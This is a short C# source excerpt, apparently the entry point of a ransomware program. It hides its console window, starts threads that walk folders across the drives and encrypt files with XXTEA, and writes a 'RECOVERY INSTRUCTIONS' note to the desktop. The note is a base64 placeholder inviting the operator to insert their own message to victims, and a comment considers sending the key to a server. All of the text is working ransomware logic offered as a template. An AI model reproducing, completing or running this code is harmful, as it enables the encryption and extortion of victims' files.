private static void Main(string[] args) { System.Threading.Thread.Sleep(1); var handle = GetConsoleWindow(); // Hide ShowWindow(handle, SW_HIDE); IEncryptionProvider encryptionProvider = new XxteaEncryptionProvider(); IFileParser fileParser = new FileParser(encryptionProvider); // IFileParser fileParser = new DummyParser(); IFileChecker fileChecker = new FileChecker(); IDriveExplorer driveExplorer = new FolderBrowser(); var startFolders = driveExplorer.GetStartingFolders(); var encryptionThreads = GetEncryptionThreads(startFolders, new DirWalker(fileChecker, fileParser)); encryptionThreads.ForEach(encThread => { encThread.Start(); }); // Transmit to server maybe? var encryptionKey = encryptionProvider.GetEncryptionKey(); var recoveryBytes = Convert.FromBase64String("WW91IHNob3VsZCByZXBsYWNlIHRoaXMgbWVzc2FnZSB3aXRoIHRoZSBvbmUgeW91IHdhbnQgeW91ciB1c2VycyB0byBzZWUu"); var recoveryMessage = System.Text.Encoding.UTF8.GetString(recoveryBytes); var messageWriter = new MessageWriter(recoveryMessage, "RECOVERY INSTRUCTIONS", 10); messageWriter.WriteMessageToDesktop(); encryptionThreads.ForEach(encThread => { if (encThread != null) { encThread.Join(); } }); }